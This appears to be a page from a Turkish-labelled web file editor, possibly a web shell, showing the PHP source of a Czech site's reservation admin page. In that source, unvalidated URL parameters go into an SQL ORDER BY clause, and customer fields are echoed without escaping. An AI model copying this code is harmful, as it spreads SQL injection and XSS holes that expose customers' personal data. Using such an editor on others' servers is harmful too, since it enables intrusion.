<h3>Düzenle: rezervace.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?
  if (isset($_POST['smazat']))
  {
    $delete = $pdo-&gt;prepare(&quot;DELETE FROM rezervace WHERE id=?&quot;);
    $delete-&gt;execute([$_POST['id']]);
    $_SESSION['msg'] = &quot;Rezervace úspěšně smazána&quot;;
    header(&quot;Location:&quot;.$admin.'rezervace');
    exit;
  }
?&gt;

&lt;div class=&quot;edit-head&quot;&gt;
  &lt;h1&gt;Rezervace&lt;/h1&gt;
  &lt;?php /*
  &lt;div class=&quot;edit-setting&quot;&gt;
    &lt;a href=&quot;&lt;?=$admin?&gt;rezervace-edit&quot;&gt;&lt;button type=&quot;button&quot; class=&quot;button&quot; name=&quot;button&quot;&gt;&lt;i class=&quot;fas fa-plus&quot;&gt;&lt;/i&gt; Nová rezervace&lt;/button&gt;&lt;/a&gt;
  &lt;/div&gt;
  */ ?&gt;
&lt;/div&gt;

&lt;?
  $sort = &quot;id DESC&quot;;
  if (isset($_GET['sort2']))
  {
    $sort = $_GET['sort2'];
  }

  $by = &quot;&quot;;
  if (isset($_GET['sort1']))
  {
    $by = $_GET['sort1'];
  }

  $rezervace = $pdo-&gt;query(&quot;SELECT * FROM rezervace ORDER BY &quot;.$sort.&quot; &quot;.$by.&quot;&quot;);
  if($rezervace-&gt;rowCount() &gt; 0){
    ?&gt;
      &lt;table class=&quot;vypis&quot;&gt;
        &lt;tr&gt;
          &lt;th&gt;ID&lt;/th&gt;
          &lt;th&gt;email&lt;/th&gt;
          &lt;th&gt;jméno&lt;/th&gt;
          &lt;th&gt;počet osob&lt;/th&gt;
          &lt;th&gt;VS&lt;/th&gt;
          &lt;th&gt;od &lt;a class=&quot;sort&quot; href=&quot;?sort1=ASC&amp;amp;sort2=od&quot;&gt;↓&lt;/a&gt;&lt;a class=&quot;sort&quot; href=&quot;?sort1=DESC&amp;amp;sort2=od&quot;&gt;↑&lt;/a&gt;&lt;/th&gt;
          &lt;th&gt;do &lt;a class=&quot;sort&quot; href=&quot;?sort1=ASC&amp;amp;sort2=do&quot;&gt;↓&lt;/a&gt;&lt;a class=&quot;sort&quot; href=&quot;?sort1=DESC&amp;amp;sort2=do&quot;&gt;↑&lt;/a&gt;&lt;/th&gt;
          &lt;th&gt;adresa&lt;/th&gt;
          &lt;th&gt;telefon&lt;/th&gt;
          &lt;th&gt;čas rezervace&lt;/th&gt;
          &lt;th&gt;poznámka&lt;/th&gt;
          &lt;th&gt;&lt;/th&gt;
        &lt;/tr&gt;
    &lt;?
    while($r = $rezervace-&gt;fetch()){
    {
      ?&gt;
      &lt;tr&gt;
        &lt;?/*&lt;td class=&quot;center bold&quot;&gt;&lt;a href=&quot;&lt;?=$admin?&gt;rezervace-edit?id=&lt;?=$r['id']?&gt;&quot;&gt;&lt;?=$r['id']?&gt;&lt;/a&gt;&lt;/td&gt;*/?&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['id']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['email']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['jmeno']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['pocet_osob']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['variabilni_symbol']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=datum($r['od'])?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=datum($r['do'])?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['ulice']?&gt;, &lt;?=$r['mesto']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['telefon']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['datum_rezervace']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center&quot;&gt;&lt;?=$r['text']?&gt;&lt;/td&gt;
        &lt;td class=&quot;center resp_three&quot;&gt;
          &lt;form action=&quot;&quot; method=&quot;post&quot; style=&quot;display:inline-block;&quot;&gt;
            &lt;input type=&quot;text&quot; name=&quot;id&quot; value=&quot;&lt;?=$r['id']?&gt;&quot; hidden&gt;
            &lt;button type=&quot;submit&quot; class=&quot;button1&quot; name=&quot;smazat&quot; onclick=&quot;return confirm('Opravdu si přejete záznam smazat ?')&quot;&gt;&lt;i class=&quot;fas fa-trash-alt&quot;&gt;&lt;/i&gt;&lt;/button&gt;
          &lt;/form&gt;
        &lt;/td&gt;
      &lt;/tr&gt;
      &lt;?
    }
  }
  }
  else
  {
    echo '&lt;p&gt;Žádný záznam&lt;/p&gt;';
  }
?&gt;
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fusers%2Fzalohovane%2F258452%2Fspiritdrinks.cz%2Fsubdomeny%2Fwww'>⬅️ Yukarı</a>